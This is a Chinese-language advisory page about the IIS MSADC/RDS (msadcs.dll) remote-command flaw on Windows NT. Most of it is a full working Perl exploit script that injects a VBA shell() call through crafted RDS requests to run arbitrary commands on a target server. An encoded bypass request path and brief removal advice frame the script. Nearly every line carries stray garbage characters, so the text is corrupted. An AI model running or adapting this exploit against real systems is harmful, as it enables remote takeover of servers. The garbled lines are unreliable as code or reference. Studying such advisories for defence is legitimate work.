IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*]HnF P _p4]\LA 涉及程序：
<A=1]'1\r Microsoft NT server
&*" *b\ LA_{[VWYp> 描述：
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1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
e(/F:ZEh ?ckV 2
详细：
b4dviYI 如果你没有时间读详细内容的话，就删除:
<-?C\c~G@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
l 3p :}A 有关的安全问题就没有了。
3 s?u05_ NW5OLa")J< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Q;VuoHj! o/7u7BQl2 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Le ?g ,c 关于利用ODBC远程漏洞的描述，请参看:
>Y8\f :KQ uarfH]T{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xE@/8h So!=uYX 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
2`riI*fQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp TMMJ5\t2 ;$&\ :-6A# 这里不再论述。
XEA5A.uc cQhr{W,Un 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
v]{UH {6 k*)sz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
YhV<.2^k 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w -o#=R_ 'o}[9ZBjn {*B0 lr` #将下面这段保存为txt文件，然后: "perl -x 文件名"
C^L xuU W wjl )yo$z #!perl
Q*T 'tkp #
,\v' %,:C # MSADC/RDS 'usage' (aka exploit) script
D {Ol8: #
l[:Aq&[o3 # by rain.forest.puppy
&
V>rq'~ ; #
1}a4AGAp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(&eF E ;c # beta test and find errors!
t}_ #N'` Godrz*" use Socket; use Getopt::Std;
=W3
K6w getopts("e:vd:h:XR", \%args);
Dj96t5R ) %Fwfb print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
LE<J<~2Z 24#qg ' if (!defined $args{h} && !defined $args{R}) {
L>~T c print qq~
)L:e0u Usage: msadc.pl -h <host> { -d <delay> -X -v }
1X5g(B
-h <host> = host you want to scan (ip or domain)
<E U R: -d <seconds> = delay between calls, default 1 second
^C'0Y.H S -X = dump Index Server path table, if available
:+Ukwno?/ -v = verbose
SdYf^@%}F -e = external dictionary file for step 5
=${.*, o
Qh&Qsyo% Or a -R will resume a command session
TC/ c5:)] A_9^S ! ~; exit;}
)
FR 7t c$ZV vu $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=^u;uS[IW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
J;obh.}u"{ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
dW4jkjap if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[y@*vQw $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
a,vS{434J if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ZEI,9`t! Q"qI'*Kgt if (!defined $args{R}){ $ret = &has_msadc;
viAAb die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
l{Df{1b. L_!ShE print "Please type the NT commandline you want to run (cmd /c assumed):\n"
oVy{~D= . "cmd /c ";
O<cP1T F $in=<STDIN>; chomp $in;
;`#R9\C=h $command="cmd /c " . $in ;
;Z{D@g+ swF{}S" if (defined $args{R}) {&load; exit;}
t 6nRg VdK%m`;2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
x>[]Qk^?q &try_btcustmr;
tsc `u> >l &]Ho print "\nStep 2: Trying to make our own DSN...";
Y'| ,vG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
GH GyeqNM iwJ_~ print "\nStep 3: Trying known DSNs...";
!G;u
)7'v &known_dsn;
{o24A: M ^-Od*D TL print "\nStep 4: Trying known .mdbs...";
qazA,|L! &known_mdb;
+\Vm t[v 7l69SQo]? if (defined $args{e}){
3{3@>8{w print "\nStep 5: Trying dictionary of DSN names...";
TsTc3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
b4_0 XmL |[>@Kk 4 print "Sorry Charley...maybe next time?\n";
\2s`m CY exit;
[Iks8ZWr_ O6;"cUv ##############################################################################
tON>wm N pIlEoG=[ _ sub sendraw { # ripped and modded from whisker
a<G&}|6 sleep($delay); # it's a DoS on the server! At least on mine...
LQR2T5S/Q, my ($pstr)=@_;
~(d
{j}M> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F]3Y, {/V die("Socket problems\n");
s7Agr!>f if(connect(S,pack "SnA4x8",2,80,$target)){
BNK]Os select(S); $|=1;
nzflUR{`- print $pstr; my @in=<S>;
zi-_ l select(STDOUT); close(S);
#Lhv=0op return @in;
Ki;SONSV~| } else { die("Can't connect...\n"); }}
-x//@8" 92DM1~
* ##############################################################################
ss)x
fG dDPQDIx sub make_header { # make the HTTP request
_B^zm-}8|B my $msadc=<<EOT
OjUPvR2 0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
`t U User-Agent: ACTIVEDATA
p
u(m HB Host: $ip
lME>U_E Content-Length: $clen
T0w_d_aS Connection: Keep-Alive
&$
h~Q x z _sejKB ADCClientVersion:01.06
hN-@_XSw<I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Py)ZHML A8Ju + --!ADM!ROX!YOUR!WORLD!
glMH T, Content-Type: application/x-varg
,L/ x \_28 Content-Length: $reqlen
|u&cN-}C d P3_.U8g$r EOT
H -kX-7C ; $msadc=~s/\n/\r\n/g;
OB WWcL- return $msadc;}
Y 2
@8B6 Pv'Q3O2<I ##############################################################################
/5ZX6YkeH USBQE t sub make_req { # make the RDS request
L!fTYX#K ] my ($switch, $p1, $p2)=@_;
ote,`h my $req=""; my $t1, $t2, $query, $dsn;
Wgwd?@uK jo`ZuN{ if ($switch==1){ # this is the btcustmr.mdb query
_VrY7Mz:r $query="Select * from Customers where City=" . make_shell();
x)::^'74 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g@`i7qN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
":Dm/g iQ)yd Y a elsif ($switch==2){ # this is general make table query
;m( iKwDt $query="create table AZZ (B int, C varchar(10))";
sl]< A[jR $dsn="$p1";}
E#k{<L YI 4_R|3L elsif ($switch==3){ # this is general exploit table query
x|6]+?l@6 $query="select * from AZZ where C=" . make_shell();
-R`{]7V $dsn="$p1";}
<g[z jV9p %nZl`<M elsif ($switch==4){ # attempt to hork file info from index server
Z?axrGmg0 $query="select path from scope()";
hS]w
A"\87 $dsn="Provider=MSIDXS;";}
~G!JqdKJ0 YlHP:ZW-cu elsif ($switch==5){ # bad query
WK>F0xMs1 $query="select";
A l U^ ,X $dsn="$p1";}
,;)ZF J Wn26, $t1= make_unicode($query);
fvk cJwkc $t2= make_unicode($dsn);
Mb i]EZ $req = "\x02\x00\x03\x00";
?%,NOX $req.= "\x08\x00" . pack ("S1", length($t1));
*G19fJ[5 $req.= "\x00\x00" . $t1 ;
= S&`~+ $req.= "\x08\x00" . pack ("S1", length($t2));
C?< pD+]b_ $req.= "\x00\x00" . $t2 ;
Q.mJ7T~T $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
f O*jCl return $req;}
q-F
K=r 5 y0 * rY ##############################################################################
d!,t_jM0 U.7fMc# sub make_shell { # this makes the shell() statement
O `}EiyV return "'|shell(\"$command\")|'";}
O*EV~ {K aLO^>", ##############################################################################
AJPvwu}D ;P@]7vkff sub make_unicode { # quick little function to convert to unicode
b 9.M'P\ my ($in)=@_; my $out;
5~*)3z^V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pCIzpEsRs return $out;}
% $!3Pbu i t^rw@$"} ##############################################################################
?"B] "% M& ,lyW'<~gA sub rdo_success { # checks for RDO return success (this is kludge)
xA] L0h] my (@in) = @_; my $base=content_start(@in);
]?Ef0?4 4 if($in[$base]=~/multipart\/mixed/){
&gXh:. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4QL>LK return 0;}
R@vcS=m7 %Sr+D{B ##############################################################################
7},A. q =CX1jrLZ sub make_dsn { # this makes a DSN for us
^kez]> my @drives=("c","d","e","f");
rd%%NnT" print "\nMaking DSN: ";
)#=J<OpG foreach $drive (@drives) {
]\$/:f-2 print "$drive: ";
+# W94s~0V my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Gz[yD
~6a "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
aB9!}3@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ud1M-lY\U $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.Eao|; return 0 if $2 eq "404"; # not found/doesn't exist
\Cb JU if($2 eq "200") {
Ut Z,q!sg foreach $line (@results) {
C-'hXh;hQ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{1W:@6tl } return 0;}
ccD+AGM.
g)D_ !iz ##############################################################################
KpLm pK1 Ha'[uEDb sub verify_exists {
yIMqQSt79z my ($page)=@_;
.HqFdsm my @results=sendraw("GET $page HTTP/1.0\n\n");
WjV15\, return $results[0];}
dUI5,3 * 'D\Q$ q ##############################################################################
)Fw/C u _X6'u J sub try_btcustmr {
&p0e)o~Ux my @drives=("c","d","e","f");
K =g</@L6R my @dirs=("winnt","winnt35","winnt351","win","windows");
t}EM X9SQ qe~x?FO_> foreach $dir (@dirs) {
wp[Ug2 ;G print "$dir -> "; # fun status so you can see progress
$pGT1oF[E foreach $drive (@drives) {
6@S6E(^ print "$drive: "; # ditto
:2 ;Jo^6Se $reqlen=length( make_req(1,$drive,$dir) ) - 28;
KyvZ? R $reqlenlen=length( "$reqlen" );
Tb/TP3 N $clen= 206 + $reqlenlen + $reqlen;
Tkbao D I[ \~ pi, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
UM}u(;oo%) if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
}pc9uvmIJ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O] _4pP =OVDJ0ozZ ##############################################################################
G#M)5'Q]U C0rf sub odbc_error {
!40>LpL[ my (@in)=@_; my $base;
/zn=AAYb my $base = content_start(@in);
d[ N1zQW if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
~%TWF+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
nla6QlFYn* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[}RoZB&I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GK(CuwJe return $in[$base+4].$in[$base+5].$in[$base+6];}
9>""xt print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
6_LeP9s ) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2Xb,
i $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6% D9;-N) "
qI99e ##############################################################################
^)VwxH:s
:| 7#D,2 sub verbose {
'`];=QY9pg my ($in)=@_;
H=r-f@EOrI return if !$verbose;
t>"%exdoZ print STDOUT "\n$in\n";}
l6viP}R 2h E(h ##############################################################################
Ia&R/I Uv^\[ sub save {
2|1fb-AR my ($p1, $p2, $p3, $p4)=@_;
1v o)]ff open(OUT, ">rds.save") || print "Problem saving parameters...\n";
azcPeAe print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+2tQ FV; close OUT;}
==[,;g
x +^)v"@,VP ##############################################################################
/@os*c|je ON ?Y
Df sub load {
D$>_W ,*V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jYsAL=oh,* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
c/{ FDN @p=<IN>; close(IN);
XQ}Zr/f6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Fsx?(?tCMo $target= inet_aton($ip) || die("inet_aton problems");
|(7}0]BP0 print "Resuming to $ip ...";
xQy,1f3s+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~j0 rORy] if($p[1]==1) {
'J|2c;M\x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,Q`qnn& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%+7]/_JO& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
So:X!ljN(e if (rdo_success(@results)){print "Success!\n";}
>}5?`.K~Q* else { print "failed\n"; verbose(odbc_error(@results));}}
X/!_>@`7? elsif ($p[1]==3){
xad`-vw if(run_query("$p[3]")){
Jh[0xb print "Success!\n";} else { print "failed\n"; }}
On mmcem elsif ($p[1]==4){
"fFSZ@,r if(run_query($drvst . "$p[3]")){
{(73* -~$ print "Success!\n"; } else { print "failed\n"; }}
}5 o?7} ? exit;}
0.aXg " ]rcF/uQJ<n ##############################################################################
i`,FXF) ;C]Ufk sub create_table {
^?z% f_r i my ($in)=@_;
8hRcB[F~S $reqlen=length( make_req(2,$in,"") ) - 28;
1MelHW $reqlenlen=length( "$reqlen" );
f60w% $clen= 206 + $reqlenlen + $reqlen;
Iv`I JQH> my @results=sendraw(make_header() . make_req(2,$in,""));
Io6 /Fv>! return 1 if rdo_success(@results);
_03?XUKV my $temp= odbc_error(@results); verbose($temp);
6iC>CY3CG return 1 if $temp=~/Table 'AZZ' already exists/;
x)5}:b1B= return 0;}
dZM^?rq oy+|:[v:Fk ##############################################################################
+2uSM r qA*~ B' sub known_dsn {
m 2H4V+M+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
JJ.8V72;!Z my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
3f ;=#|l "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<,d550GSm "banner", "banners", "ads", "ADCDemo", "ADCTest");
37AVk`a 5>532X(0 foreach $dSn (@dsns) {
j;x()iZ< print ".";
ez4!5&TzRm next if (!is_access("DSN=$dSn"));
L"_X W no if(create_table("DSN=$dSn")){
J0G@]H print "$dSn successful\n";
A|A~$v("R if(run_query("DSN=$dSn")){
z^Q'GBoBA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[ K{{P|(q print "Something's borked. Use verbose next time\n";}}} print "\n";}
$-4](br| gesbt ##############################################################################
wjarQog5Y =u~ nLL
sub is_access {
p6M9uu my ($in)=@_;
WhP P4 # $reqlen=length( make_req(5,$in,"") ) - 28;
tRjv - $reqlenlen=length( "$reqlen" );
`y8pwWo-o $clen= 206 + $reqlenlen + $reqlen;
_ \!]MV my @results=sendraw(make_header() . make_req(5,$in,""));
\j8vf0c5b my $temp= odbc_error(@results);
]TV_ p[L0B verbose($temp); return 1 if ($temp=~/Microsoft Access/);
K`*GZ+b|` return 0;}
r924!zdbR %L|fTndKH ##############################################################################
H R>Y?B{ p8Vqy-: sub run_query {
OvfluFu7 my ($in)=@_;
F!z0N&# $reqlen=length( make_req(3,$in,"") ) - 28;
oqrx7 +0{ $reqlenlen=length( "$reqlen" );
V^~RDOSy7n $clen= 206 + $reqlenlen + $reqlen;
g?j)p y my @results=sendraw(make_header() . make_req(3,$in,""));
FaHOutP return 1 if rdo_success(@results);
= ~^b
my $temp= odbc_error(@results); verbose($temp);
= ? sG~ return 0;}
/\J0)V @ !ChPl ##############################################################################
c-Gp|.C -H|
9 82= sub known_mdb {
.qBc ; u my @drives=("c","d","e","f","g");
tr<~ :&H4T my @dirs=("winnt","winnt35","winnt351","win","windows");
wmVmGa
R my $dir, $drive, $mdb;
Pk? $\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U S^% $Z: *yq65yZi5 # this is sparse, because I don't know of many
{q>%Sr]9 my @sysmdbs=( "\\catroot\\icatalog.mdb",
1\hLwG6Jj "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
0T j,TF "\\system32\\certmdb.mdb",
CTMC78=9} "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Nc[@Q C{
A l[ZU my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
wO?? "${OH "\\cfusion\\cfapps\\forums\\forums_.mdb",
K:Z$V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
D s1 h18 "\\cfusion\\cfapps\\security\\realm_.mdb",
*P mZqe "\\cfusion\\cfapps\\security\\data\\realm.mdb",
p1N}2]e "\\cfusion\\database\\cfexamples.mdb",
%ms%0% "\\cfusion\\database\\cfsnippets.mdb",
U-|]A\`)I "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ly0R'4j \ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;hj lRQ\ "\\cfusion\\brighttiger\\database\\cleam.mdb",
F^Ut ZG+ "\\cfusion\\database\\smpolicy.mdb",
h5 ?^MRZS "\\cfusion\\database\cypress.mdb",
T"wg/m T "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
mV0,T*}e "\\website\\cgi-win\\dbsample.mdb",
Hv6h7- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
IZVP- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Z |$# ); #these are just
R%r
bysP foreach $drive (@drives) {
T igw+2 foreach $dir (@dirs){
6St=r)_ foreach $mdb (@sysmdbs) {
>$Y/B =e print ".";
87
gk
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
X [Y0r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|}zW H=6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
ay"jWL- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{C | R@S } else { print "Something's borked. Use verbose next time\n"; }}}}}
v,4{:y]p +C~h( foreach $drive (@drives) {
*s 6 x foreach $mdb (@mdbs) {
zs$r>rlO print ".";
$6"sR I6u if(create_table($drv . $drive . $dir . $mdb)){
8/e-?2l print "\n" . $drive . $dir . $mdb . " successful\n";
EQ%o oAb8 if(run_query($drv . $drive . $dir . $mdb)){
<G})$f'x2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
wAh]C;+ { } else { print "Something's borked. Use verbose next time\n"; }}}}
zB.cOMx }
L V}R 9f fA=Z):w ##############################################################################
9QQ XB- Xv1vq
-cM sub hork_idx {
, dC.|P' ` print "\nAttempting to dump Index Server tables...\n";
x $uhkP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7# AIX], $reqlen=length( make_req(4,"","") ) - 28;
i)#-VOhX) $reqlenlen=length( "$reqlen" );
Xh e& "rM $clen= 206 + $reqlenlen + $reqlen;
Emlj,c<?j my @results=sendraw2(make_header() . make_req(4,"",""));
*)m:u : if (rdo_success(@results)){
o78 u>O y my $max=@results; my $c; my %d;
sn" ((BsO< for($c=19; $c<$max; $c++){
Ny^ 1#R $results[$c]=~s/\x00//g;
!73y(Y%TE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*g5bdQ:Av~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
& ALnE:F $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
OG$n C $d{"$1$2"}="";}
"'4 foreach $c (keys %d){ print "$c\n"; }
j6%W+;{/pj } else {print "Index server doesn't seem to be installed.\n"; }}
w8lrpbLh OP/DWf ##############################################################################
JFv70rBe SxF'2 ii sub dsn_dict {
'Lg RdtO6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
A6(D o]M while(<IN>){
@O"7@%nu $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zgD?e?yPO next if (!is_access("DSN=$dSn"));
tN#C.M7.'7 if(create_table("DSN=$dSn")){
C?qR ZB+W# print "$dSn successful\n";
xG! ~T Q if(run_query("DSN=$dSn")){
^ ` LqNG print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P2n8H Fi print "Something's borked. Use verbose next time\n";}}}
cSL6V2F print "\n"; close(IN);}
* \ii +f- I`_2Q:r ##############################################################################
(%_X{R' f:Pl Mv!{ sub sendraw2 { # ripped and modded from whisker
8eqTA 8$? sleep($delay); # it's a DoS on the server! At least on mine...
rLTBBvV my ($pstr)=@_;
^ 4=#, K socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
rK gl:s j+ die("Socket problems\n");
[O3:?BNY if(connect(S,pack "SnA4x8",2,80,$target)){
9NTNulD>P print "Connected. Getting data";
kcS7)"/ zC open(OUT,">raw.out"); my @in;
i1evB9FZ1z select(S); $|=1; print $pstr;
$J1`. Q>)4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
rHKO13WF close(OUT); select(STDOUT); close(S); return @in;
("U< @~ } else { die("Can't connect...\n"); }}
1!uBzO6/$ (xgw';g ##############################################################################
?]><#[?'L ]>M\|,wh sub content_start { # this will take in the server headers
E &9<JS my (@in)=@_; my $c;
,Zmjw@ w for ($c=1;$c<500;$c++) {
)N 3^r>(e< if($in[$c] =~/^\x0d\x0a/){
TcZ.5Oe6h# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
>pu4 G+M else { return $c+1; }}}
/3s&??{tv return -1;} # it should never get here actually
T0 K!Msz ,I"T 9k-^ ##############################################################################
B:h<iU:'D K q[4I[+R sub funky {
kZe<<iv my (@in)=@_; my $error=odbc_error(@in);
<7P[)X_ if($error=~/ADO could not find the specified provider/){
b8K]>yDAh print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^J] &($- exit;}
`W86]ut[ if($error=~/A Handler is required/){
:
UeK0 print "\nServer has custom handler filters (they most likely are patched)\n";
s)Y1%# exit;}
{ Zgd if($error=~/specified Handler has denied Access/){
Snk+ZQ- print "\nServer has custom handler filters (they most likely are patched)\n";
$w(RJ/ exit;}}
?R]`M_^&u! 9a*#r;R ##############################################################################
^kfqw0! 5W)ST&YPL* sub has_msadc {
Kk^* #vR my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K]|Ud No my $base=content_start(@results);
j(%N.f6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
evZcoH3~ return 0;}
}Xj25` x , X 4b~) ########################
_(-jk4 L <WP@q&^k\ 5x+]uABE 解决方案：
#@FA=p[% 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
z Rna=h! 2、移除web 目录: /msadc
